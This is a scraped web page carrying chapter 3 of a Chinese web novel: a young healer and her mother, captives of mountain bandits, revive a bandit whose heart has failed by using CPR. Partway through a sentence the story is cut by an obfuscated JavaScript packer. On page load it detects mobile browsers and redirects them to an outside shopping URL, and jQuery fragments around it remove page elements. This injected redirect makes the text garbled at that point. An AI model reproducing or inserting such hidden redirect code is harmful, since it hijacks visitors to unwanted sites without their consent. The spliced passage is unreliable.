默认冷灰
24号文字
方正启体

3. 第 3 章

作者:醉眼望山本书字数:K更新时间:
    张成虎闻言眼睛一瞪,没好气的训斥道:“说多少回了,你这臭毛病趁早给我改了,早晚因为这个坏事。”


    说罢,指着一旁的刀疤说:“你看着些他。”


    刀疤点点头,走上前来伸手推搡起时月来,只是这一推却让他愣了下神。


    寻常女子被他这么一推,不说摔倒在地,至少脚下一定是站不稳的,可眼前这个看起来瘦弱得像是一阵风就能吹倒的小姑娘,此刻脚下像是生了根一般,竟是纹丝未动。


    与此同时,在刀疤握着她手腕的那一瞬间,时月的眼前出现了一副诡异的画面。


    画面里,时月被刀疤抗在肩膀上朝外走,刚走到门口,刀疤忽然脚下虚晃,接着便身体朝后栽去,时月借机跳了下来,而刀疤却直挺挺躺在地上。


    独眼龙过来一把搡开时月,蹲到地上探着刀疤的鼻息,随后瞬间脸色一白,嘴里吐出两个字,“死了!”


    这些画面就像过影一样在眼前掠过,时月还没反应过来是怎么回事,就见刀疤像是不信邪一般再次上前,抓起自己的胳膊就朝外拖。


    时月习惯性的甩手,刀疤在众目睽睽之下被她甩得脚下不稳,险些栽了个跟头。


    刀疤的脸都绿了,要知道,在这登丰寨里,他的力气之大是连大当家的张成虎都赞不绝口的。


    他是这寨中唯一一个能凭一己之力推动寨子中央的那颗圆形巨石的人,如今居然拉不动一个小丫头片子,这传出去岂不让人笑掉大牙?


    “嘿,小丫头片子还挺瓷实,我就不信了。”刀疤说着,上前来扛起时月,架在肩膀上就朝外面走去。


    这熟悉的一幕刚刚还在脑海里闪现过,转眼便真的发生了,时月心里忽然一动。


    难道刚刚的那些画面,是接下来即将要发生的事情吗?


    “快放我下来,否则不出这个大门,你必有性命之忧。”时月喊道。


    刀疤脚下一顿,接着便看向屋里的众人大笑了起来,“兄弟们,听到了吗?这小娘儿们说要弄死我,哈哈哈。”


    人群中发出一阵哄笑声,刀疤不屑地颠了颠肩膀上的人,大步朝着门口走去。


    “小丫头片子,这个时候了还想唬人,当光哥我是吓大的不......成......”


    最后一个字艰难的从嘴里吐出来后,刀疤忽然停了下来,捂住胸口脚下晃了几晃,揽在时月腿上的右手瞬间一松,她借机跳了下来。


    刀疤脸涨得紫红,紧紧抓住领口猛喘着气,很快就眼睛一翻朝后栽去。


    时月眼疾手快扶了对方一把,才不至于让他脑袋磕在地上。


    屋里的众人见状纷纷朝这边跑来,时月往旁边让了让,心里隐隐不安了起来。


    刀疤应该是早有心疾,只不过他自己不知道,看大堂里扔着的酒坛,他应该也没少喝,过量饮酒诱发了他的心疾,刚刚自己多嘴提醒了一句,可听在这些人的耳朵里,却是觉得自己在放狠话,如今刀疤真的应了自己的话,这些土匪会不会以为是自己做了什么手脚害了刀疤?


    正思索着下一步该怎么办时,却见阿娘急步朝着这边奔来。


    时月心里顿时一亮,刀疤突发心疾,阿娘是医者,若是配合心肺复苏法应该能救他。


    想到这里,她拨开人群挤到刀疤跟前,大声道:“这位大哥是心疾发作了,我和阿娘是大夫......”


    不等她说完,独眼龙冲上来蒯着她的衣领将她推到门边的柱子上,“妖女害我兄弟,看我不杀了你!”


    “老三!不得无理。”一旁的张成虎上前拉开独眼龙,对着时月温声说道:“这位姑娘,刚刚你说我兄弟是心疾发作了,你们是大夫,可救得了我兄弟的命?”


    时月理了理衣领,瞪了独眼龙一眼,道:“我与阿娘都是村里的大夫,既然今日让我们碰到了,自当尽力一试。”


    说着,就朝刀疤走去,张成虎却是伸手一挡,眼神锐利的看着时月,“既然两位都是大夫,那我兄弟的命就交给两位了,但我且把丑话说到前头,若是救不回我兄弟,那可就别怪我登丰寨的弟兄们翻脸无情了。”


    虽然张成虎的这番话很不客气,但时月并未计较,只点点头说道:“烦请大当家让弟兄们散开些,不要堵在这里影响空气流通。”


    说话间,阿娘已经替刀疤号过脉,就见她脸色凝重的走过来,“这位兄弟手足青紫,脉微欲绝,恐怕是饮酒过量诱发的胸痹之症,此症凶险异常,夕发旦死,再耽搁下去,恐怕性命难保。”


    张成虎听罢脸色骤变,急声道:“这可如何是好,敢问大夫我这兄弟可还有救?”


    阿娘抿了抿唇,斟酌着说道:“我只能尽力一试。”


    不一会儿,有人取来笔墨,阿娘埋头写起了方子,时月走到刀疤跟前蹲下。


    刀疤平躺在地上,脸色灰暗,嘴唇已呈现深紫色,她二话不说,半跪在地上双手交叠着按上对方胸口。


    一个脸上长着大痦子的男人见状急忙奔了过来指着时月大声喝道:“你在干什么?”


    其他人也注意到了时月的动作,纷纷涌了上来。


    时月心知此时若不解释清楚,这些人肯定不会再让她继续,忙说道:“我在救他。下山抓药一个来回少说也得小半天,此时若不施救,恐怕等药抓来,这位大哥的命也很难保住。”


    痦子男人满脸的不信任,“他本就是胸痹,你再这样按他,他能受得住,你少糊弄我们!!”


    此时,张成虎已将药方交给一个小弟去抓药,见状走了过来,问道:“怎么回事?”


    刀疤的情况比较紧急,时月不想再耽搁,冷声说道:“如果想救他的命,就别再让他们干扰我。”说完便继续做起心肺复苏。


    意外的是,时月说完这句话后,张成虎没再追问,就连其他人试图阻止,也被拦了下来,他就那站在一旁一直注视着她的一举一动。


    大概按了三十次左右,时月抬起头,擦掉脸上的汗珠,说道:“大当家的,现在需要给他做人工呼吸,你指派个人来吧。”


    虽然听不懂她说的什么,张成虎却并没有多问,指着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169111|196808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一旁的痦子男说:“老五,按她说的做。”


    时月将人工呼吸的方法讲了一遍,痦子男虽然不情不愿,但到底还是照做了。


    心肺复苏和人工呼吸交替进行了不知道多少次以后,就在时月都觉得快要失去信心的时候,原本躺在地上人事不醒的刀疤终于再次有了气息。


    张成虎最先发现的,他欣喜的指着地上的人说道:“醒了,真的醒了。”


    四下的人顿时欢呼了起来,就连一直紧紧攥着手的阿娘也跟着松了一口气。


    派出去抓药的人还没回来,阿娘再次替刀疤号过脉,确认对方暂时脱离了危险后,才让人将对方抬到了后面。


    原本热闹的大堂里瞬间安静了下来,时月虚脱的在一个石墩子上坐下来,阿娘也跟着坐到她旁边,心有余悸的说道:“今日真的多亏了你的那个什么心肺复苏,否则等他们药抓来,那个刀疤可能都凉了。你都不知道我那会儿开方子时手都是抖的,我真怕人死了,那些人要咱娘俩给他陪葬。”


    娘俩一天一夜没吃东西,刚刚时月又做了很久的心肺复苏,此刻已经饿得完全没力气说话,她舔了舔干裂的嘴唇,说道:“阿娘,你饿吗?”


    不说还好,刚说完阿娘的肚腹便跟着敲起了鼓,娘俩捂着肚子满脸的愁容。


    张成虎安顿好刀疤后回来看到的便是这样一副场景。


    大堂中间,一老一少的母女俩靠墙坐在石墩上,一副累极了的样子,他微微扯了扯唇角走上前去。


    时月听到动静后即刻睁开眼睛,不等张成虎开口,说道:“大当家的,我母女二人刚从歹人手中逃出,跑了一夜的路,一天一夜没吃东西了,不知......”


    张成虎轻笑了一声,抱拳说道:“是我之过,二位恩人救了我兄弟的命,理应好好招待。”说罢,招呼外面的人拿酒食来。


    不多时,便有个小哥端上来一小碟盐渍花生米,还有一盘凉拌的灰苋菜,和一坛子酒,时月略感失望。


    时月的鼻子异常灵敏,尤其是对食物的味道,昨日她刚被人带进这间大堂时,便闻到整间屋子除了充斥着浓列的酒味之外,还有一股炖羊肉的香味。


    本以为这位大当家的口口声声说她们二人是恩人,要招待她们,怎么着也得上点硬菜,没想到居然这么小气,居然连块肉都不给吃。


    罢了罢了,今时今日,能吃口热乎的也算是万幸了。


    心里正胡思乱想着,就见大堂的门被人推开,一个脑门上有个大黑痣的小哥端着一个冒着热气的盆进来。


    时月心中一喜,默默收回了刚刚心里对大当家小气的评价。


    一旁的阿娘眼睛直勾勾的盯着那盆香喷喷的羊肉,忍不住咽着口水。


    要知道,她们从荷花村走到京城历时七个月,一路上饥一顿,饱一顿,吃到最可口的东西便是昨日刚进京城时,用了身上最后的几文钱买的一个烤番薯了。


    张成虎看这母女二人的眼睛都快瞪到盆里了,掩唇轻笑一声,说道:“两位先慢用,我去看看我二弟。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)